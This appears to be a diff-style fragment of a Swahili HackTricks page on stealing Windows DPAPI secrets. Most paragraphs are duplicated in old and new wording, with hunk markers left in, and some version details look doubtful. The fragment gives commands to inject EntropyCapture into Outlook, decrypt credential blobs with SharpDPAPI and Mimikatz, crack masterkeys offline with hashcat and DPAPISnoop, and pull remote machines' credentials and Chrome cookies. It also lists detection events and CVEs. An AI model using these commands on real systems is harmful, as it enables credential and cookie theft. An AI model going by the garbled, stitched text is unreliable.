[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) ni DLL ya hali ya mtumiaji inayounganisha kazi za DPAPI ndani ya mchakato wa lengo na kurekodi kwa uwazi entropy yoyote ya hiari inayotolewa. Kuendesha EntropyCapture katika hali ya **DLL-injection** dhidi ya michakato kama `outlook.exe` au `vpnclient.exe` kutatoa faili inayounganisha kila buffer ya entropy na mchakato unaoitisha na blob. Entropy iliyorekodiwa inaweza baadaye kutolewa kwa **SharpDPAPI** (`/entropy:`) au **Mimikatz** (`/entropy:<file>`) ili kufichua data. citeturn5search0
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) ni DLL ya hali ya mtumiaji inayounganisha kazi za DPAPI ndani ya mchakato wa lengo na kwa uwazi inarekodi entropy yoyote ya hiari inayotolewa. Kuendesha EntropyCapture katika hali ya **DLL-injection** dhidi ya michakato kama `outlook.exe` au `vpnclient.exe` kutatoa faili inayounganisha kila buffer ya entropy na mchakato unaoitisha na blob. Entropy iliyorekodiwa inaweza baadaye kutolewa kwa **SharpDPAPI** (`/entropy:`) au **Mimikatz** (`/entropy:<file>`) ili kufichua data.
```powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -244,7 +244,7 @@ SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
Microsoft ilianzisha muundo wa **context 3** masterkey kuanzia Windows 10 v1607 (2016). `hashcat` v6.2.6 (Desemba 2023) iliongeza hash-modes **22100** (DPAPI masterkey v1 context), **22101** (context 1) na **22102** (context 3) ikiruhusu kuvunja nywila za watumiaji kwa kutumia GPU moja kwa moja kutoka kwenye faili la masterkey. Washambuliaji wanaweza hivyo kufanya mashambulizi ya orodha ya maneno au brute-force bila kuingiliana na mfumo wa lengo. citeturn8search1
Microsoft ilianzisha muundo wa **context 3** masterkey kuanzia Windows 10 v1607 (2016). `hashcat` v6.2.6 (Desemba 2023) iliongeza hash-modes **22100** (DPAPI masterkey v1 context), **22101** (context 1) na **22102** (context 3) ikiruhusu kuvunja nywila za watumiaji kwa kutumia GPU moja kwa moja kutoka kwenye faili la masterkey. Washambuliaji wanaweza hivyo kufanya mashambulizi ya orodha ya maneno au brute-force bila kuingiliana na mfumo wa lengo.
`DPAPISnoop` (2024) inafanya mchakato kuwa otomatiki:
```bash
@ -252,11 +252,12 @@ Microsoft ilianzisha muundo wa **context 3** masterkey kuanzia Windows 10 v1607
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4
```
Chombo kinaweza pia kuchambua Credential na Vault blobs, kuzikatisha na funguo zilizovunjwa na kuhamasisha nywila za wazi.
Chombo kinaweza pia kuchambua Credential na Vault blobs, kuzikatisha na funguo zilizovunjwa na kusafirisha nywila za wazi.
### Fikia data za mashine nyingine
Katika **SharpDPAPI na SharpChrome** unaweza kuashiria chaguo la **`/server:HOST`** ili kufikia data za mashine ya mbali. Bila shaka unahitaji kuwa na uwezo wa kufikia mashine hiyo na katika mfano ufuatao inatarajiwa kuwa **funguo ya usimbaji ya akiba ya kikoa inajulikana**:
### Pata data za mashine nyingine
Katika **SharpDPAPI na SharpChrome** unaweza kuashiria chaguo la **`/server:HOST`** ili kupata data za mashine ya mbali. Bila shaka unahitaji kuwa na uwezo wa kufikia mashine hiyo na katika mfano ufuatao inatarajiwa kuwa **funguo ya usimbaji ya akiba ya kikoa inajulikana**:
```bash
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
@ -277,38 +278,36 @@ Kwa orodha ya kompyuta zilizopatikana kutoka LDAP unaweza kupata kila sub networ
* Kukusanya blobs kwa wakati mmoja kutoka kwa majeshi mamia
* Kuchambua **context 3** masterkeys na kuunganisha kiotomatiki Hashcat cracking
* Msaada kwa ajili ya vidakuzi vilivyofichwa vya Chrome "App-Bound" (angalia sehemu inayofuata)
* Hali mpya ya **`--snapshot`** ya kuangalia mara kwa mara maeneo na kutofautisha blobs mpya zilizoundwa citeturn1search2
* Msaada kwa ajili ya vidakuzi vilivyofichwa "App-Bound" vya Chrome (angalia sehemu inayofuata)
* Hali mpya ya **`--snapshot`** ya kuangalia mara kwa mara mwisho na kulinganisha blobs mpya zilizoundwa
### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) ni parser ya C# kwa ajili ya masterkey/faili za akiba/credential ambazo zinaweza kutoa Hashcat/JtR formats na kwa hiari kuanzisha cracking kiotomatiki. Inasaidia kikamilifu fomati za masterkey za mashine na mtumiaji hadi Windows 11 24H1. citeturn2search0
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) ni parser ya C# kwa ajili ya masterkey/credential/vault files ambayo inaweza kutoa Hashcat/JtR formats na kwa hiari kuanzisha cracking kiotomatiki. Inasaidia kikamilifu fomati za masterkey za mashine na mtumiaji hadi Windows 11 24H1.
## Common detections
- Ufikiaji wa faili katika `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` na directories nyingine zinazohusiana na DPAPI.
- Haswa kutoka kwenye share ya mtandao kama **C$** au **ADMIN$**.
- Matumizi ya **Mimikatz**, **SharpDPAPI** au zana zinazofanana kufikia kumbukumbu ya LSASS au kutoa masterkeys.
- Tukio **4662**: *Operesheni ilifanyika kwenye kitu* inaweza kuhusishwa na ufikiaji wa kitu cha **`BCKUPKEY`**.
- Matumizi ya **Mimikatz**, **SharpDPAPI** au zana zinazofanana kupata kumbukumbu ya LSASS au kutoa masterkeys.
- Tukio **4662**: *Operesheni ilifanyika kwenye kitu* inaweza kuhusishwa na ufikiaji wa **`BCKUPKEY`** kitu.
- Tukio **4673/4674** wakati mchakato unapoomba *SeTrustedCredManAccessPrivilege* (Credential Manager)
---
### 2023-2025 vulnerabilities & ecosystem changes
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (Novemba 2023). Mshambuliaji mwenye ufikiaji wa mtandao anaweza kumdanganya mwanachama wa eneo ili kupata funguo ya akiba ya DPAPI yenye uharibifu, ikiruhusu ufichuzi wa masterkeys za watumiaji. Imefanyiwa marekebisho katika sasisho la jumla la Novemba 2023 wasimamizi wanapaswa kuhakikisha DCs na vituo vya kazi vimefanyiwa marekebisho kikamilifu. citeturn4search0
* **Chrome 127 “App-Bound” cookie encryption** (Julai 2024) ilibadilisha ulinzi wa zamani wa DPAPI pekee kwa funguo ya ziada iliyohifadhiwa chini ya **Credential Manager** ya mtumiaji. Ufichuzi wa vidakuzi nje ya mtandao sasa unahitaji masterkey ya DPAPI na **funguo ya GCM-wrapped app-bound**. SharpChrome v2.3 na DonPAPI 2.x zinaweza kurejesha funguo ya ziada wakati zinakimbia kwa muktadha wa mtumiaji. citeturn0search0
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (Novemba 2023). Mshambuliaji mwenye ufikiaji wa mtandao anaweza kumdanganya mwanachama wa eneo ili kupata funguo ya akiba ya DPAPI yenye uharibifu, kuruhusu ufichuzi wa masterkeys za watumiaji. Imefanyiwa marekebisho katika sasisho la jumla la Novemba 2023 wasimamizi wanapaswa kuhakikisha DCs na vituo vya kazi vimefanyiwa marekebisho kikamilifu.
* **Chrome 127 “App-Bound” cookie encryption** (Julai 2024) ilibadilisha ulinzi wa zamani wa DPAPI pekee kwa funguo ya ziada iliyohifadhiwa chini ya **Credential Manager** ya mtumiaji. Ufichuzi wa vidakuzi bila mtandao sasa unahitaji masterkey ya DPAPI na **funguo ya GCM-wrapped app-bound**. SharpChrome v2.3 na DonPAPI 2.x zinaweza kurejesha funguo ya ziada wakati zinapofanya kazi na muktadha wa mtumiaji.
## References
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
- https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
- https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
- https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6
- https://github.com/Leftp/DPAPISnoop
- https://pypi.org/project/donpapi/2.0.0/
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
- [https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/)
- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
{{#include ../../banners/hacktricks-training.md}}